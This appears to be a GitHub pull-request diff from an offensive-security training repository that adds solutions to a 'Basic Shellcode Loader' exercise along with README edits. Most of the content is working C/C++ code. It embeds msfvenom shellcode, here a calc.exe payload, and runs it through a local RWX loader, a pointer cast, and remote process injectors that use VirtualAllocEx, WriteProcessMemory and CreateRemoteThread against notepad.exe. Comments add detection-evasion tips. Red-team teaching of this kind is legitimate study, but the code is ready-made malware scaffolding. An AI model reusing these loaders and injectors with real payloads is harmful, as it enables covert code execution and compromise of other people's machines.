Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
Original file line number Diff line number Diff line change
@@ -0,0 +1,34 @@
#include <iostream>
#include <windows.h>

// msfvenom calc shellcode
// msfvenom -p windows/x64/exec CMD=calc.exe -f c
unsigned char calcshellcode[296] =
{ 0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,
0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,
0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,
0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,
0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,
0x01,0xd0,0x8b,0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,
0xd0,0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,
0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,
0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,
0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,
0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,0x8b,0x04,
0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,
0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,
0x8b,0x12,0xe9,0x57,0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,0x31,0x8b,0x6f,
0x87,0xff,0xd5,0xbb,0xf0,0xb5,0xa2,0x56,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff,
0xd5,0x48,0x83,0xc4,0x28,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,
0x47,0x13,0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x43,0x3a,0x5c,
0x77,0x69,0x6e,0x64,0x6f,0x77,0x73,0x5c,0x73,0x79,0x73,0x74,0x65,0x6d,0x33,
0x32,0x5c,0x63,0x61,0x6c,0x63,0x2e,0x65,0x78,0x65,0x0 };

int main()
{
void* exec = VirtualAlloc(0, sizeof(calcshellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(exec, calcshellcode, sizeof calcshellcode);
((void(*)())exec)();
}

Original file line number Diff line number Diff line change
@@ -0,0 +1,144 @@
#include <Windows.h>
#include <tlhelp32.h>
#include <stdio.h>


HANDLE SpawnProcess(LPCWSTR processName)
{
STARTUPINFOW startupInfo;
PROCESS_INFORMATION processInfo;
ZeroMemory(&startupInfo, sizeof(startupInfo));
startupInfo.cb = sizeof(startupInfo);
ZeroMemory(&processInfo, sizeof(processInfo));
// Create the new process
wchar_t processPath[MAX_PATH];
wcscpy_s(processPath, MAX_PATH, L"C:\\Windows\\System32\\");
wcscat_s(processPath, MAX_PATH, processName);

if (!CreateProcessW((LPWSTR)processPath,NULL, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo))
{
printf("Failed to create process. Error code: %d\n", GetLastError());
return NULL;
}
// Close the unnecessary process and thread handles
CloseHandle(processInfo.hThread);
printf("%ls spawned! PID: %d\n", processName, processInfo.dwProcessId);
return processInfo.hProcess;
}


HANDLE getProcessHandle(LPCWSTR processName)
{
HANDLE hProcess = NULL;
HANDLE snapshotHandle = NULL;
PROCESSENTRY32 processEntry;

snapshotHandle = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (snapshotHandle == INVALID_HANDLE_VALUE)
{
printf("Failed to create snapshot.\n");
return NULL;
}

// Set the size of the structure before using it
processEntry.dwSize = sizeof(PROCESSENTRY32);

// Iterate through the process list to find the specified process
if (Process32First(snapshotHandle, &processEntry))
{
do
{
if (wcscmp(processEntry.szExeFile, processName) == 0)
{
hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, processEntry.th32ProcessID);
printf("%ls found! injecting in PID: %d\n",processName,processEntry.th32ProcessID);
break;
}
} while (Process32Next(snapshotHandle, &processEntry));
}
// Close the snapshot handle
CloseHandle(snapshotHandle);
if (!hProcess)
{
printf("%ls does not seem to exist yet, attempting to spawn it\n",processName);
hProcess = SpawnProcess(processName);
}
return hProcess;
}



//depending on the shellcode, your process might exit. with the shellcode below your spawned process is not going to live after you have injected the shellcode.
BOOL inject(HANDLE hProcess)
{
//first check, did we get a valid handle? if not return false.
if (!hProcess)
{
return FALSE;
}


//for the sake of example we define our shellcode here instead of inside a global variable :)
// msfvenom calc shellcode
// msfvenom -p windows/x64/exec CMD=calc.exe -f c
// we are defining the shellcode here globally; but you can also just define it in a function
unsigned char calcshellcode[296] = {
0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,
0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,
0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,
0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,
0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,
0x01,0xd0,0x8b,0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,
0xd0,0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,
0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,
0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,
0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,
0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,0x8b,0x04,
0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,
0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,
0x8b,0x12,0xe9,0x57,0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,0x31,0x8b,0x6f,
0x87,0xff,0xd5,0xbb,0xf0,0xb5,0xa2,0x56,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff,
0xd5,0x48,0x83,0xc4,0x28,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,
0x47,0x13,0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x43,0x3a,0x5c,
0x77,0x69,0x6e,0x64,0x6f,0x77,0x73,0x5c,0x73,0x79,0x73,0x74,0x65,0x6d,0x33,
0x32,0x5c,0x63,0x61,0x6c,0x63,0x2e,0x65,0x78,0x65,0x0 };


LPVOID remoteVirtualAddressLocation = VirtualAllocEx(hProcess, NULL, sizeof(calcshellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (remoteVirtualAddressLocation)
{
//we were able to write new virtual memory in the remote process, we can write to this location now.
size_t byteswritten = 0;
BOOL writesuccess = WriteProcessMemory(hProcess, remoteVirtualAddressLocation, calcshellcode, sizeof(calcshellcode), &byteswritten);
if (writesuccess)
{
HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)remoteVirtualAddressLocation, NULL, 0, NULL);
if (hThread)
{
return TRUE;
}
return FALSE;
}
//if the shellcode could not be written, we return FALSE
return FALSE;
}

return FALSE;
}


int main()
{
HANDLE hProcess = getProcessHandle(L"notepad.exe");
//uncomment this if you want to actually see your spawned process live. uncommenting the below code requires you to press a key to continue with injection.
//printf("press any key to inject.\n");
//getchar();
if (hProcess)
{
inject(hProcess);
}

}


5 changes: 3 additions & 2 deletions Exercises/Exercise 1 - Basic Shellcode Loader/README.md
Original file line number Diff line number Diff line change
Expand Up @@ -33,7 +33,7 @@ Remember the various API calls you can use. There are two combinations that make

This is an alternative to the above, another very popular way of executing shellcode. You can use `VirtualAlloc()` to allocate an executable memory region for the shellcode, and then copy your shellcode into the allocated memory. The result is the same as the first method.

Copying memory can be done without API calls using built-in functions, like `Marshal.copy` for C#, `copyMem` for Nim, `std::ptr::copy` for Rust.
Copying memory can be done without API calls using built-in functions, like `Marshal.copy` for C#, `copyMem` for Nim, `std::ptr::copy` for Rust and `memcpy` in C.

> ⚠ **Note:** Depending on the type of shellcode you are using, you may need to use the `WaitForSingleObject()` API to keep your program alive while it is running your shellcode. This is only required for long-running shellcodes, such as a CobaltStrike beacon.

Expand All @@ -47,7 +47,7 @@ Alternatively, you may opt to dynamically resolve the function calls. While hard

### Casting pointers - an alternative to `CreateThread()`

Instead of using the `CreateThread()` API, you can use a technique called "casting a pointer" to turn your shellcode memory into a function and execute it in the current thread. You can see examples [here (C#)](https://tbhaxor.com/execute-unmanaged-code-via-c-pinvoke/), [here (Rust)](https://stackoverflow.com/a/46134764), and [here (Nim)](https://github.com/byt3bl33d3r/OffensiveNim/issues/16#issuecomment-757228116). This avoids calling a suspicious API function, but brings problems of its own (such as the thread hanging, or potential program crashes after your shellcode returns).
Instead of using the `CreateThread()` API, you can use a technique called "casting a pointer" to turn your shellcode memory into a function and execute it in the current thread. You can see examples [here (C#)](https://tbhaxor.com/execute-unmanaged-code-via-c-pinvoke/), [here (Rust)](https://stackoverflow.com/a/46134764), [here (Nim)](https://github.com/byt3bl33d3r/OffensiveNim/issues/16#issuecomment-757228116) and [here (C)](https://www.ired.team/offensive-security/code-injection-process-injection/process-injection). This avoids calling a suspicious API function, but brings problems of its own (such as the thread hanging, or potential program crashes after your shellcode returns).

### Rust tips

Expand Down Expand Up @@ -115,6 +115,7 @@ These steps can be time-consuming, but meanwhile the windows package is updated
- [Shellcode_Local_Inject](https://github.com/trickster0/OffensiveRust/blob/master/Shellcode_Local_inject/src/main.rs)
- [Process_Injection_Self_EnumSystemGeoID](https://github.com/trickster0/OffensiveRust/blob/master/Process_Injection_Self_EnumSystemGeoID/src/main.rs)


## Solution

Example solutions are provided in the [solutions folder](solutions/). Keep in mind that there is no "right" answer, if you made it work that's a valid solution!
Original file line number Diff line number Diff line change
@@ -0,0 +1,58 @@
// Exercise 1 - Basic Shellcode Loader.cpp : This file contains the 'main' function. Program execution begins and ends there.
//

#include <iostream>
#include <Windows.h>

//in C it is often better to read the shellcode dynamically
//it is harder to include long shellcode because of compiler problems
//if you really want to add the shellcode in the binary, there are ways such as attaching it as a resource
//a nice reference for this: https://www.ired.team/offensive-security/code-injection-process-injection/loading-and-executing-shellcode-from-portable-executable-resources#code


int main()
{

// msfvenom calc shellcode
// msfvenom -p windows/x64/exec CMD=calc.exe -f c
unsigned char calcshellcode[296] = {
0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,
0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,
0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,
0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,
0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,
0x01,0xd0,0x8b,0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,
0xd0,0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,
0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,
0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,
0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,
0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,0x8b,0x04,
0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,
0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,
0x8b,0x12,0xe9,0x57,0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,0x31,0x8b,0x6f,
0x87,0xff,0xd5,0xbb,0xf0,0xb5,0xa2,0x56,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff,
0xd5,0x48,0x83,0xc4,0x28,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,
0x47,0x13,0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x43,0x3a,0x5c,
0x77,0x69,0x6e,0x64,0x6f,0x77,0x73,0x5c,0x73,0x79,0x73,0x74,0x65,0x6d,0x33,
0x32,0x5c,0x63,0x61,0x6c,0x63,0x2e,0x65,0x78,0x65,0x0 };

//if you want to get the size dynamically, you can use the sizeof built in C function
int shellcodeSize = sizeof(calcshellcode);

// Allocate RWX (read-write-execute) memory to execute the shellcode from
// Opsec tip: RWX memory can easily be detected. Consider making memory RW first, then RX after writing your shellcode
//https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualalloc
LPVOID shellcodeAddress = VirtualAlloc(NULL, shellcodeSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
//memcpy_s (safe function for memcpy), you can also use regular memcpy but then you need to disable compiler warnings
memcpy_s(shellcodeAddress, shellcodeSize, calcshellcode, shellcodeSize);
// Create a thread at the start of the executable shellcode to run it!

HANDLE payThreadId = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)shellcodeAddress,NULL, 0, 0);

// Wait for our thread to exit to prevent program from closing before the shellcode ends
// This is especially relevant for long-running shellcode, such as malware implants
WaitForSingleObject(payThreadId, -1);

}

Original file line number Diff line number Diff line change
@@ -0,0 +1,73 @@
#include <iostream>
#include <Windows.h>

// msfvenom calc shellcode
// msfvenom -p windows/x64/exec CMD=calc.exe -f c
// we are defining the shellcode here globally; but you can also just define it in a function
unsigned char calcshellcode[296] = {
0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,
0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,
0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,
0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,
0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,
0x01,0xd0,0x8b,0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,
0xd0,0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,
0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,
0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,
0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,
0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,0x8b,0x04,
0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,
0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,
0x8b,0x12,0xe9,0x57,0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,0x31,0x8b,0x6f,
0x87,0xff,0xd5,0xbb,0xf0,0xb5,0xa2,0x56,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff,
0xd5,0x48,0x83,0xc4,0x28,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,
0x47,0x13,0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x43,0x3a,0x5c,
0x77,0x69,0x6e,0x64,0x6f,0x77,0x73,0x5c,0x73,0x79,0x73,0x74,0x65,0x6d,0x33,
0x32,0x5c,0x63,0x61,0x6c,0x63,0x2e,0x65,0x78,0x65,0x0 };

BOOL inject(DWORD pid)
{
//get a handle to the process you wish to inject into, there are ways to get the process ID programatically, but this is out of scope for this workshop
// https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-openprocess
HANDLE pHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
BOOL success = FALSE;

//check if handle is valid, if not we wont be able to inject so no use in going further
if (!pHandle)
{
return FALSE;
}

//alocate virtual memory to the remote process
LPVOID remoteVirtualAddressLocation = VirtualAllocEx(pHandle, NULL, sizeof(calcshellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

//check if we got a valid remotememoryallocation pointer back, if not return false.
if (remoteVirtualAddressLocation)
{
//we were able to write new virtual memory in the remote process, we can write to this location now.
SIZE_T byteswritten = 0;
BOOL writesuccess = WriteProcessMemory(pHandle, remoteVirtualAddressLocation, calcshellcode, sizeof(calcshellcode), &byteswritten);
if (writesuccess)
{
HANDLE hThread = CreateRemoteThread(pHandle, NULL, 0, (LPTHREAD_START_ROUTINE)remoteVirtualAddressLocation, NULL, 0, NULL);
if (hThread)
{
return TRUE;
}
return FALSE;
}
//if the shellcode could not be written, we return FALSE
return success;
}
return success;
}

int main()
{
//change the pid here to a process that actually is running on your system :)
inject(14764);

}


Loading